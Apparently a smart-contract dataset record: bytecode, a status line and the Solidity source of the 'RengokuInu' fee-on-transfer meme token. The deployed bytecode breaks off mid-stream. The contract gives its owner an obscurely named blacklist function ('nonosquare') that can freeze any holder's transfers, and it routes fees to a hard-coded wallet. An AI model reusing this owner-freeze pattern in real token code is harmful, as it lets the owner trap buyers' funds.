0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058205ba2014f8d4b6d4130bd2d11871f3c24bb98381c27aee008ad08cdf3e10b16ae0029
|
{"success": true, "error": null, "results": {}}
| 6,110 |
0x8987937b75a8258fb7f686c2700e3c2fd648ce57
|
/**
Telegram:https://t.me/rengokuinuerc20
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RengokuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "RengokuInu";
string private constant _symbol = "RengokuInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xA5F2D3688A28F4B55d26F03BB5c1606B3b185Bd2);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1500000000 * 10**9;
_maxWalletSize = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600a81526020017f52656e676f6b75496e7500000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f52656e676f6b75496e7500000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a819055506006600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a819055506008600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267fffffffff